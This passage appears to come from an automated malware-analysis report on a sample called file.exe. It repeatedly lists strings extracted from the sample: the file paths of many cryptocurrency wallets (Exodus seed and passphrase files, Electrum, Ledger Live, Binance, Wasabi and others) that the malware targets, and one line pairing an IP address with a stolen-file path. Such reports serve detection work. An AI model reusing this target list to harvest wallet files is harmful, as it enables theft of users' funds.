Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700717988.00000000017D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\.finger-print.fpO
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2695752628.00000000010D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
